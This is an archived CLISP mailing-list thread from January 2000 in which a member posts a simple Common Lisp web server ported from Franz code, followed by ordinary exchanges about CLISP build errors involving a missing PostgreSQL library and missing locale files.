From donc@isis.compsvcs.com Fri Jan 21 12:59:03 2000 Received: from isis.compsvcs.com. (cine-dyrad.cinenet.net [198.147.117.71] (may be forged)) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id MAA09700 for ; Fri, 21 Jan 2000 12:59:03 -0800 Received: by isis.compsvcs.com. (SMI-8.6/SMI-SVR4) id MAA21376; Fri, 21 Jan 2000 12:58:46 -0800 Date: Fri, 21 Jan 2000 12:58:46 -0800 Message-Id: <200001212058.MAA21376@isis.compsvcs.com.> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] simple webserver running in clisp Not too long ago someone asked for such a program. I sent a version that I had modified from on distributed by Franz. However, at the time it did not run in clisp. I've now made the few minor changes needed to run it in clisp, so without further ado: ;; simple web server ;; Copyright Franz Inc., 1997 ;; Permission is granted to copy, modify, or use the code ;; in this file freely, provided the copyright notice is preserved. ;; *** modifications by donc marked with *** #| general directions: 1. Load this file (which in turn requires socket and regexp libraries). 2. Set *webserver-commands* to a list of symbols that are allowed to be FUNCALLed by the webserver. These can be in any package, but two symbols with the same name in different packages won't work. (On input only the function name is available, not the package.) 3. Set log-file to the name of a file if you want a log kept. (To customize the contents see calls to log- below.) 4. Set *server-root* to a pathname of a directory. The server will only retrieve files below that directory. 5. (start-server :port ...)) As a sample, try - (setf *webserver-commands* '(print)) - install the following text in the file <*server-root*>/sample.html

username:
password:
- in your browser type in the url http://:/sample.html You should see a form with input fields labeled username and password and a "try it" button. When you press the button the data is sent to the server which calls the print funtion (the action above) on the inputs and the stream where the answer is expected. The input arguments are then printed in your browser. Now just replace print by a function that does what you want. |# ;; This demonstration server works under these versions of Allegro CL: ;; ACLWin 3.0.1 Lite ;; ACLWin 3.0.2 Lite ;; ACLWin 3.0.2 Professional ;; ACL 4.3 for Unix ;; *** also works for ACL 5.0, 5.0.1 ;; *** now also works for clisp (in-package :user) #+allegro ;; *** generalize from ACL (eval-when (compile load eval) (require :socket #+aclpc "fsl\\socket.fsl") ; load the socket code (require :regexp #+aclpc "fsl\\regexp.fsl") ; load the regular expression matcher ) ;; All files should be in this directory and below (defparameter *server-root* (pathname #+aclpc "c:\\tmp\\" #-aclpc "/usr/tmp/web/")) (defvar *webserver-commands* nil) ;; set this to the list of commands that are allowed ;; *** changed all the format t 's below to log's (defvar log-file nil) ;; set this to a file name in order to log transactions to that file (defun log- (&rest args) (when log-file (with-open-file (log log-file :direction :output :if-does-not-exist :create :if-exists :append) (apply 'format log args)))) (defun print-current-time (&optional (stream *standard-output*)) (multiple-value-bind (second minute hour day month year) (get-decoded-time) (format stream "~@?" "~d/~d/~d ~2,'0d:~2,'0d:~2,'0d" month day year hour minute second))) (defun start-server (&key (port 8000)) ;; start the web server running on the given port. ;; Note that on unix, ports below 1024 can only be obtained by ;; programs running as root. ;; The default port number for web browsers is 80, to use any other ;; port number in a url you have to put that port number after the ;; machine name as in http://www.foo.com:8000/the/url/I/want ;; (let ((websocket ;; *** generalize from ACL #+clisp (lisp:socket-server port) #+allegro (socket:make-socket :connect :passive :local-port port))) (unwind-protect (loop ;; It turns out that all the stream operations can and in ;; practice do generate errors. ;; The practical solution is to put an ignore-errors ;; at a pretty high level. (multiple-value-bind (ignore err) ;; *** (ignore-errors (let ((connection ;; *** generalize from ACL #+clisp (lisp:socket-accept websocket) #+allegro (socket:accept-connection websocket))) (unwind-protect (do-command connection #'(lambda () (return-from start-server))) (close connection)))) (declare (ignore ignore)) (when err (log- "~%error : ~A" err)))) ;; *** generalize from ACL (lisp:socket-server-close websocket) #+allegro (close websocket)))) (defun do-command (stream exit-fcn) ;; Read the command from the web browser and execute it. ;; If the command indicates that the web server should go away, ;; then funcall the exit-fcn. (let ((command (read-line stream nil ""))) ;; got eof ?? *** (log- "~%Got command on ~s of ~s" stream command) ;; ;; A command from the browser is one line containing ;; two or three items separated by spaces. ;; The first item is the command (get, put, post) and the ;; second item is the url. ;; The third (and optional) item is the protocol. ;; The protocol determines how we must respond to the command. ;; If the protocol item is missing we assume http/0.9. If it is preset ;; then we only support http/1.0 ;; ;; For brevity, we use the new regular expression parser to break up the ;; command line into items, but this could also be done with ;; standard Common Lisp functions. ;; ;; *** replace regexp with ansi cl code (multiple-value-bind (matched whole-match cmd url protocol) #+ignore ;; replace with parse-http-command below (match-regexp "^\\([^ ]+\\) +\\([^ ]+\\) *\\([a-zA-Z/0-9.]*\\)" command) (parse-http-command command) (declare (ignore whole-match)) ;; replace non-ansi if* syntax (if matched (cond ((equalp cmd "GET") (log- "~%at ~A get ~s with protocol ~s" (print-current-time nil) url protocol) (when (equal url "/quit") (funcall exit-fcn)) (send-file stream url protocol)) ((equalp cmd "POST") (log- "~%at ~A post ~s with protocol~s" (print-current-time nil) url protocol) (post-command url stream)) (t (send-failure stream (format nil "I can't do command ~s" cmd) protocol))) (log- "~%command ~s is not in the right format" command))) (finish-output stream) ;; *** added - I don't know if it really matters ;; but I was getting clients thinking they had not seen complete files. )) ;; *** replacement for above match-regexp (defun parse-http-command (command) (let (cend ustart uend pstart pend) (setf cend (position #\space command) ustart (and cend (> cend 0) (position #\space command :start cend :test-not #'eql)) uend (and ustart (position #\space command :start ustart)) pstart (and uend (position #\space command :start uend :test-not #'eql)) pend (and pstart (position-if-not (lambda (c) (or (alphanumericp c) (eql c #\/) (eql c #\.))) command :start pstart))) (when ustart (values t (subseq command 0 (or pend (and pstart (length command)) uend (length command))) (subseq command 0 cend) (subseq command ustart uend) (if pstart (subseq command pstart pend) ""))))) (defun send-file (stream url protocol) ;; we've been given a 'get' command. We now must get the requested ;; item and send it to the web browser. ;; We're assuming that all items requested are html, gif, jpg, or jpeg. ;; We should check that '..' doesn't appear in a directory name ;; or a user could use that to navigate out of the *server-root* ;; directory and into any directory on the machine. (let ((file-location (merge-pathnames (pathname (subseq url 1)) *server-root*))) ;; *** replace non-ansi if* syntax (if (let ((probe (probe-file file-location))) (or (not probe) ;; *** test that we're under *server-root* (< (length (pathname-directory probe)) (length (pathname-directory *server-root*))) (loop for x in (pathname-directory probe) as y in (pathname-directory *server-root*) thereis (not (equal x y))) ;; *** also reject directories, since otherwise open errs (null (pathname-name probe)))) (send-failure stream (format nil "url ~s doesn't exist" url) protocol) (let ((binaryp nil) (type (pathname-type file-location))) (cond ((or (string-equal type "jpg") (string-equal type "jpeg")) (setq binaryp t type "image/jpeg")) ((string-equal type "gif") (setq binaryp t type "image/gif")) (t ;html? -- hope for the best (setq type "text/html"))) (when (equalp protocol "http/1.0") (format stream "HTTP/1.0 200 OK") (endline stream) (format stream "Content-type: ~a" type) (endline stream) (endline stream)) (with-open-file (f file-location) (loop as ch = (read-char f nil nil) as i from 0 ;; debugging while ch do ;;(write-char ch) ;; debugging (when (eq ch #\newline) (unless binaryp (write-char #\return stream))) (write-char ch stream) finally (log- "~%~A chars sent" i) ;; debugging ) ;;(sleep 1) ;; debugging ))))) (defun endline (stream) ;; most network protocols require that lines end with a ;; #\return character followed by a #\newline character (write-char #\return stream) (write-char #\linefeed stream)) (defun send-failure (stream message protocol) ;; something was wrong with the browser's request so send back a ;; message (when (equalp protocol "http/1.0") (format stream "HTTP/1.0 200 OK") (endline stream) (format stream "Content-type: text/plain") (endline stream) (endline stream)) (write-string message stream)) (defun post-command (url stream) ;; first we strip off the leading "\" from the url ;; then we look up the lisp function corresponding to the remaining string (let ((function ;; *** (read-from-string (subseq url 1 (length url))) ;; read-from-string is a really bad security hole ;; find-symbol would be better, but in order to allow ;; functions from different packages I prefer (loop for c in *webserver-commands* with name = (subseq url 1 (length url)) thereis (and (equal name (symbol-name c)) c)))) ;; parse through the header information until we get a blank line ;; which separates the data from the header (loop until (zerop (length (string-trim '(#\return) (read-line stream nil ""))))) ;*** ;; Now comes the form input. (let ((input (read-line stream nil ""))); *** ;; (log- "~%Input is ~s" input) (let ((args (parse-form-contents input))) (log- "~%Args are ~s" args) (if function ;; *** (funcall function args stream) (log- "~%~illegal function - ~A" url)))))) (defun parse-form-contents (contents) ;; input values come in the pairs name=value, delimited by & name is a ;; "name" specified in the HTML form value is the string input or ;; selection by the user on this form special cases like ? and & are ;; ignored in this parser. ;; return a list of dotted pairs (("name" . "value") ....) (loop with len = (length contents) with start = 0 for sep = (position #\& contents :start start) for end = (or sep len) for varend = (position #\= contents :start start) for sym = (subseq contents start varend) for val = (subseq contents (1+ varend) end) collect (cons sym (html-to-ascii val)) ;; *** until (null sep) do (setq start (1+ sep)))) ;; *** (defun html-to-ascii (string) ;; recover the real chars the user sent ;; translate + to space and %xx where xx is two hex digits ;; to that character in hex (let* ((chars (loop with pos = 0 while (< pos (length string)) collect (if (eql (char string pos) #\+) (progn (incf pos) #\space) (if (eql (char string pos) #\%) (prog1 (code-char (parse-integer string :start (+ pos 1) :end (+ pos 3) :radix 16)) (incf pos 3)) (prog1 (char string pos) (incf pos)))))) (ans (make-string (length chars)))) (loop for i from 0 as c in chars do (setf (char ans i) c)) ans)) From donc@isis.compsvcs.com Sat Jan 22 16:50:43 2000 Received: from isis.compsvcs.com. (cine-dyrad.cinenet.net [198.147.117.71] (may be forged)) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id QAA28512 for ; Sat, 22 Jan 2000 16:50:43 -0800 Received: by isis.compsvcs.com. (SMI-8.6/SMI-SVR4) id QAA25363; Sat, 22 Jan 2000 16:50:23 -0800 Date: Sat, 22 Jan 2000 16:50:23 -0800 Message-Id: <200001230050.QAA25363@isis.compsvcs.com.> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Revised webserver Two problems found in the last version are fixed here: - Bruno pointed out a missing #+clisp, which does no harm as long as you're trying to run it in clisp. - I discovered that trying to serve binary files (like images) failed due to errors reading bytes that cannot be converted to characters. Perhaps if problems continue to show up we can just put a copy in the ftp2.cons.org/pub/lisp/clisp archive, and then update that and announce the changes rather than reposting. ================ ;; simple web server ;; Copyright Franz Inc., 1997 ;; Permission is granted to copy, modify, or use the code ;; in this file freely, provided the copyright notice is preserved. ;; *** modifications by donc marked with *** #| general directions: 1. Load this file (which in turn requires socket and regexp libraries). 2. Set *webserver-commands* to a list of symbols that are allowed to be FUNCALLed by the webserver. These can be in any package, but two symbols with the same name in different packages won't work. (On input only the function name is available, not the package.) 3. Set log-file to the name of a file if you want a log kept. (To customize the contents see calls to log- below.) 4. Set *server-root* to a pathname of a directory. The server will only retrieve files below that directory. 5. (start-server :port ...)) As a sample, try - (setf *webserver-commands* '(print)) - install the following text in the file <*server-root*>/sample.html

username:
password:
- in your browser type in the url http://:/sample.html You should see a form with input fields labeled username and password and a "try it" button. When you press the button the data is sent to the server which calls the print funtion (the action above) on the inputs and the stream where the answer is expected. The input arguments are then printed in your browser. Now just replace print by a function that does what you want. |# ;; This demonstration server works under these versions of Allegro CL: ;; ACLWin 3.0.1 Lite ;; ACLWin 3.0.2 Lite ;; ACLWin 3.0.2 Professional ;; ACL 4.3 for Unix ;; *** also works for ACL 5.0, 5.0.1 ;; *** now also works for clisp (in-package :user) #+allegro ;; *** generalize from ACL (eval-when (compile load eval) (require :socket #+aclpc "fsl\\socket.fsl") ; load the socket code (require :regexp #+aclpc "fsl\\regexp.fsl") ; load the regular expression matcher ) ;; All files should be in this directory and below (defparameter *server-root* (pathname #+aclpc "c:\\tmp\\" #-aclpc "/usr/tmp/web/")) (defvar *webserver-commands* nil) ;; set this to the list of commands that are allowed ;; *** changed all the format t 's below to log's (defvar log-file nil) ;; set this to a file name in order to log transactions to that file (defun log- (&rest args) (when log-file (with-open-file (log log-file :direction :output :if-does-not-exist :create :if-exists :append) (apply 'format log args)))) (defun print-current-time (&optional (stream *standard-output*)) (multiple-value-bind (second minute hour day month year) (get-decoded-time) (format stream "~@?" "~d/~d/~d ~2,'0d:~2,'0d:~2,'0d" month day year hour minute second))) (defun start-server (&key (port 8000)) ;; start the web server running on the given port. ;; Note that on unix, ports below 1024 can only be obtained by ;; programs running as root. ;; The default port number for web browsers is 80, to use any other ;; port number in a url you have to put that port number after the ;; machine name as in http://www.foo.com:8000/the/url/I/want ;; (let ((websocket ;; *** generalize from ACL #+clisp (lisp:socket-server port) #+allegro (socket:make-socket :connect :passive :local-port port))) (unwind-protect (loop ;; It turns out that all the stream operations can and in ;; practice do generate errors. ;; The practical solution is to put an ignore-errors ;; at a pretty high level. (multiple-value-bind (ignore err) ;; *** (ignore-errors (let ((connection ;; *** generalize from ACL #+clisp (lisp:socket-accept websocket) #+allegro (socket:accept-connection websocket))) (unwind-protect (do-command connection #'(lambda () (return-from start-server))) (close connection)))) (declare (ignore ignore)) (when err (log- "~%error : ~A" err)))) ;; *** generalize from ACL #+clisp (lisp:socket-server-close websocket) #+allegro (close websocket)))) (defun do-command (stream exit-fcn) ;; Read the command from the web browser and execute it. ;; If the command indicates that the web server should go away, ;; then funcall the exit-fcn. (let ((command (read-line stream nil ""))) ;; got eof ?? *** (log- "~%Got command on ~s of ~s" stream command) ;; ;; A command from the browser is one line containing ;; two or three items separated by spaces. ;; The first item is the command (get, put, post) and the ;; second item is the url. ;; The third (and optional) item is the protocol. ;; The protocol determines how we must respond to the command. ;; If the protocol item is missing we assume http/0.9. If it is preset ;; then we only support http/1.0 ;; ;; For brevity, we use the new regular expression parser to break up the ;; command line into items, but this could also be done with ;; standard Common Lisp functions. ;; ;; *** replace regexp with ansi cl code (multiple-value-bind (matched whole-match cmd url protocol) #+ignore ;; replace with parse-http-command below (match-regexp "^\\([^ ]+\\) +\\([^ ]+\\) *\\([a-zA-Z/0-9.]*\\)" command) (parse-http-command command) (declare (ignore whole-match)) ;; replace non-ansi if* syntax (if matched (cond ((equalp cmd "GET") (log- "~%at ~A get ~s with protocol ~s" (print-current-time nil) url protocol) (when (equal url "/quit") (funcall exit-fcn)) (send-file stream url protocol)) ((equalp cmd "POST") (log- "~%at ~A post ~s with protocol~s" (print-current-time nil) url protocol) (post-command url stream)) (t (send-failure stream (format nil "I can't do command ~s" cmd) protocol))) (log- "~%command ~s is not in the right format" command))) (finish-output stream) ;; *** added - I don't know if it really matters ;; but I was getting clients thinking they had not seen complete files. )) ;; *** replacement for above match-regexp (defun parse-http-command (command) (let (cend ustart uend pstart pend) (setf cend (position #\space command) ustart (and cend (> cend 0) (position #\space command :start cend :test-not #'eql)) uend (and ustart (position #\space command :start ustart)) pstart (and uend (position #\space command :start uend :test-not #'eql)) pend (and pstart (position-if-not (lambda (c) (or (alphanumericp c) (eql c #\/) (eql c #\.))) command :start pstart))) (when ustart (values t (subseq command 0 (or pend (and pstart (length command)) uend (length command))) (subseq command 0 cend) (subseq command ustart uend) (if pstart (subseq command pstart pend) ""))))) (defun send-file (stream url protocol) ;; we've been given a 'get' command. We now must get the requested ;; item and send it to the web browser. ;; We're assuming that all items requested are html, gif, jpg, or jpeg. ;; We should check that '..' doesn't appear in a directory name ;; or a user could use that to navigate out of the *server-root* ;; directory and into any directory on the machine. (let ((file-location (merge-pathnames (pathname (subseq url 1)) *server-root*))) ;; *** replace non-ansi if* syntax (if (let ((probe (probe-file file-location))) (or (not probe) ;; *** test that we're under *server-root* (< (length (pathname-directory probe)) (length (pathname-directory *server-root*))) (loop for x in (pathname-directory probe) as y in (pathname-directory *server-root*) thereis (not (equal x y))) ;; *** also reject directories, since otherwise open errs (null (pathname-name probe)))) (send-failure stream (format nil "url ~s doesn't exist" url) protocol) (let ((binaryp nil) (type (pathname-type file-location))) (cond ((or (string-equal type "jpg") (string-equal type "jpeg")) (setq binaryp t type "image/jpeg")) ((string-equal type "gif") (setq binaryp t type "image/gif")) (t ;html? -- hope for the best (setq type "text/html"))) (when (equalp protocol "http/1.0") (format stream "HTTP/1.0 200 OK") (endline stream) (format stream "Content-type: ~a" type) (endline stream) (endline stream)) (with-open-file (f file-location ;; *** not all char codes valid #+clisp :element-type #+clisp '(unsigned-byte 8)) #+clisp ;; *** (setf (stream-element-type stream) '(unsigned-byte 8)) (loop as ch = (#+clisp read-byte #-clisp read-char f nil nil) ;; *** as i from 0 ;; debugging while ch do ;;(write-char ch) ;; debugging (when (eq ch #\newline) (unless binaryp (write-char #\return stream))) (#+clisp write-byte #-clisp write-char ch stream) ;; *** finally (log- "~%~A chars sent" i) ;; debugging ) ;;(sleep 1) ;; debugging ))))) (defun endline (stream) ;; most network protocols require that lines end with a ;; #\return character followed by a #\newline character (write-char #\return stream) (write-char #\linefeed stream)) (defun send-failure (stream message protocol) ;; something was wrong with the browser's request so send back a ;; message (when (equalp protocol "http/1.0") (format stream "HTTP/1.0 200 OK") (endline stream) (format stream "Content-type: text/plain") (endline stream) (endline stream)) (write-string message stream)) (defun post-command (url stream) ;; first we strip off the leading "\" from the url ;; then we look up the lisp function corresponding to the remaining string (let ((function ;; *** (read-from-string (subseq url 1 (length url))) ;; read-from-string is a really bad security hole ;; find-symbol would be better, but in order to allow ;; functions from different packages I prefer (loop for c in *webserver-commands* with name = (subseq url 1 (length url)) thereis (and (equal name (symbol-name c)) c)))) ;; parse through the header information until we get a blank line ;; which separates the data from the header (loop until (zerop (length (string-trim '(#\return) (read-line stream nil ""))))) ;*** ;; Now comes the form input. (let ((input (read-line stream nil ""))); *** ;; (log- "~%Input is ~s" input) (let ((args (parse-form-contents input))) (log- "~%Args are ~s" args) (if function ;; *** (funcall function args stream) (log- "~%~illegal function - ~A" url)))))) (defun parse-form-contents (contents) ;; input values come in the pairs name=value, delimited by & name is a ;; "name" specified in the HTML form value is the string input or ;; selection by the user on this form special cases like ? and & are ;; ignored in this parser. ;; return a list of dotted pairs (("name" . "value") ....) (loop with len = (length contents) with start = 0 for sep = (position #\& contents :start start) for end = (or sep len) for varend = (position #\= contents :start start) for sym = (subseq contents start varend) for val = (subseq contents (1+ varend) end) collect (cons sym (html-to-ascii val)) ;; *** until (null sep) do (setq start (1+ sep)))) ;; *** (defun html-to-ascii (string) ;; recover the real chars the user sent ;; translate + to space and %xx where xx is two hex digits ;; to that character in hex (let* ((chars (loop with pos = 0 while (< pos (length string)) collect (if (eql (char string pos) #\+) (progn (incf pos) #\space) (if (eql (char string pos) #\%) (prog1 (code-char (parse-integer string :start (+ pos 1) :end (+ pos 3) :radix 16)) (incf pos 3)) (prog1 (char string pos) (incf pos)))))) (ans (make-string (length chars)))) (loop for i from 0 as c in chars do (setf (char ans i) c)) ans)) From sds@gnu.org Mon Jan 24 09:31:57 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA21206 for ; Mon, 24 Jan 2000 09:31:56 -0800 Received: from SAM.ksp.com (SAM [38.156.71.103]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id C4BML9QC; Mon, 24 Jan 2000 12:30:58 -0500 To: Don Cohen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Revised webserver References: <200001230050.QAA25363@isis.compsvcs.com.> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Don Cohen's message of "Sat Jan 22 19:57:42 EST 2000" Date: 24 Jan 2000 12:30:55 -0500 Message-ID: Lines: 7 X-Mailer: Gnus v5.7/Emacs 20.4 many functions here can be found in cllib/url.lsp (which is more client-oriented though) -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Live Lisp and prosper. From ted@ffa.se Fri Jan 28 05:58:56 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA24256 for ; Fri, 28 Jan 2000 05:58:55 -0800 Received: by eagle.ffa.se; id QAA26818; Fri, 28 Jan 2000 16:42:34 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma026752; Fri, 28 Jan 00 16:41:43 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id OAA13661 for ; Fri, 28 Jan 2000 14:56:51 +0100 Sender: ted@ffa.se Message-ID: <38919FF0.6B9CEE45@ffa.se> Date: Fri, 28 Jan 2000 14:56:00 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Compilation problem Hello, I'm trying to build a stable version of Clisp (1999.05.15 or 1999.07.22) pn a RedHat 6.1 machine (kernel 2.2.12, glibc-2.1.2-11) To do so, I use the ./configure options given in the clisp.spec file: ./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \ --with-module=regexp --with-module=bindings/linuxlibc6 \ --with-module=clx/new-clx --with-module=postgresql642 \ --with-export-syscalls then I obtain the following recommendations: ./makemake --prefix=/usr --fsstnd=redhat --with-module=wildcard --with-module=regexp --with-module=bindings/linuxlibc6 --with-module=clx/new-clx --with-module=postgresql642 --with-export-syscalls --with-readline --with-gettext --with-dynamic-ffi > Makefile make config.lsp make Unfortunately it stops the compilation with the following errors: gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none modules.o postgresql.o -lpq -lcrypt clx.o -L/usr/X11R6/lib -lXpm -lXext -lX11 linux.o -lm regexp.o regexi.o regex.o wildcard.o fnmatch.o lisp.a libsigsegv.a libintl.a libreadline.a libavcall.a libcallback.a -ltermcap -ldl -o lisp.run /usr/bin/ld: cannot open -lpq: No such file or directory collect2: ld returned 1 exit status base/lisp.run -M base/lispinit.mem -q -i clx/new-clx/clx-preload.lsp -x (saveinitmem "full/lispinit.mem") ;; Loading file clx/new-clx/clx-preload.lsp ... ;; Loading of file clx/new-clx/clx-preload.lsp is finished. 795316 ; 524288 full/lisp.run -M full/lispinit.mem -q -i wildcard/wildcard regexp/regexp bindings/linuxlibc6/linux clx/new-clx/clx clx/new-clx/image postgresql642/postgresql -x (saveinitmem "full/lispinit.mem") ./clisp-link: full/lisp.run: No such file or directory make: *** [full] Error 1 I guess I did something wrong in the parameters of ./configure or I need a package which is not installed on my machine yet (I can provide a list of the installed package if required) but I don't know what or which one. Could someone help me to find out what is wrong ? Thanks in advance Daniel -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 8 25 34 81 *********************************************************************** From haible@ilog.fr Fri Jan 28 06:12:26 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA24810 for ; Fri, 28 Jan 2000 06:12:25 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA01693; Fri, 28 Jan 2000 15:08:46 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA19122; Fri, 28 Jan 2000 15:10:45 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id PAA06425; Fri, 28 Jan 2000 15:10:44 +0100 (MET) Date: Fri, 28 Jan 2000 15:10:44 +0100 (MET) Message-Id: <200001281410.PAA06425@oberkampf.ilog.fr> To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation problem In-Reply-To: <38919FF0.6B9CEE45@ffa.se> References: <38919FF0.6B9CEE45@ffa.se> Daniel Tourde writes: > ./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \ > --with-module=regexp --with-module=bindings/linuxlibc6 \ > --with-module=clx/new-clx --with-module=postgresql642 \ > --with-export-syscalls > ... > /usr/bin/ld: cannot open -lpq: No such file or directory Do you have PostgreSQL installed or not? If so, what's the full pathname of libpq.so? Bruno From ted@ffa.se Fri Jan 28 06:17:53 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA25082 for ; Fri, 28 Jan 2000 06:17:51 -0800 Received: by eagle.ffa.se; id RAA29835; Fri, 28 Jan 2000 17:01:34 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma029792; Fri, 28 Jan 00 17:01:14 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id PAA14036; Fri, 28 Jan 2000 15:16:22 +0100 Sender: ted@ffa.se Message-ID: <3891A483.AC8FE6AD@ffa.se> Date: Fri, 28 Jan 2000 15:15:31 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: Bruno Haible CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation problem References: <38919FF0.6B9CEE45@ffa.se> <200001281410.PAA06425@oberkampf.ilog.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Bonjour Bruno, > > ./configure --prefix=/usr --fsstnd=redhat --with-module=wildcard \ > > --with-module=regexp --with-module=bindings/linuxlibc6 \ > > --with-module=clx/new-clx --with-module=postgresql642 \ > > --with-export-syscalls > > ... > > /usr/bin/ld: cannot open -lpq: No such file or directory > > Do you have PostgreSQL installed or not? If so, what's the full pathname > of libpq.so? Non, je n'ai pas PostgreSQL. Actually I had just ended up to the conclusion that this should be the origin of the problem. I have restarted a new compilation without this option. By the way, what this PostgreSQL is supposed to do ? Best regards Daniel -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 8 25 34 81 *********************************************************************** From haible@ilog.fr Fri Jan 28 06:28:26 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAA25413 for ; Fri, 28 Jan 2000 06:28:25 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA02222; Fri, 28 Jan 2000 15:24:47 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.108]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA20640; Fri, 28 Jan 2000 15:26:47 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id PAA06478; Fri, 28 Jan 2000 15:26:45 +0100 (MET) Date: Fri, 28 Jan 2000 15:26:45 +0100 (MET) Message-Id: <200001281426.PAA06478@oberkampf.ilog.fr> To: Daniel Tourde Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Compilation problem In-Reply-To: <3891A483.AC8FE6AD@ffa.se> References: <38919FF0.6B9CEE45@ffa.se> <200001281410.PAA06425@oberkampf.ilog.fr> <3891A483.AC8FE6AD@ffa.se> Goddag Daniel, > Non, je n'ai pas PostgreSQL. Actually I had just ended up to the > conclusion that this should be the origin of the problem. I have > restarted a new compilation without this option. Yes, that's it. Bruno From ted@ffa.se Fri Jan 28 07:18:49 2000 Received: from eagle.ffa.se (firewall-user@eagle.ffa.se [193.180.254.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA26837 for ; Fri, 28 Jan 2000 07:18:48 -0800 Received: by eagle.ffa.se; id SAA05703; Fri, 28 Jan 2000 18:02:34 +0100 (CET) Received: from truten.ffa.se(172.16.2.200) by eagle.ffa.se via smap (4.1) id xma005625; Fri, 28 Jan 00 18:02:28 +0100 Received: from ffa.se (IDENT:ted@lorient.ffa.se [172.16.53.6]) by truten.ffa.se (8.9.3/8.9.3) with ESMTP id QAA14934 for ; Fri, 28 Jan 2000 16:17:35 +0100 Sender: ted@ffa.se Message-ID: <3891B2DC.F1236A25@ffa.se> Date: Fri, 28 Jan 2000 16:16:44 +0100 From: Daniel Tourde Organization: The Aeronautical Research Institute of Sweden X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20 i686) X-Accept-Language: fr, en, sv MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Generated files during a compilation Hello, I have compiled Clisp 1999-07-22 to generate a rpm file. According to the clisp.spec in the source the installed files are the following: %files %dir /usr/lib/clisp/ /usr/lib/clisp/* /usr/bin/clisp %dir /usr/doc/%{name}-%{version}/ /usr/doc/%{name}-%{version}/* /usr/man/man3/clreadline.3 /usr/man/man1/clisp.1 /usr/share/locale/de/LC_MESSAGES/clisp.mo /usr/share/locale/en/LC_MESSAGES/clisp.mo /usr/share/locale/es/LC_MESSAGES/clisp.mo /usr/share/locale/fr/LC_MESSAGES/clisp.mo However, when I compiled clisp to check if everything was working fine, none of the /usr/share/local files were present or produced. Am I suppose to add a particular option in ./configure to get them ? Daniel -- *********************************************************************** Daniel TOURDE E-mail : ted@ffa.se The Aeronautical Research Institute of Sweden Tel : +46 8 55 54 93 44 P.O. Box 11021 S-161 11 BROMMA, Sweden Fax : +46 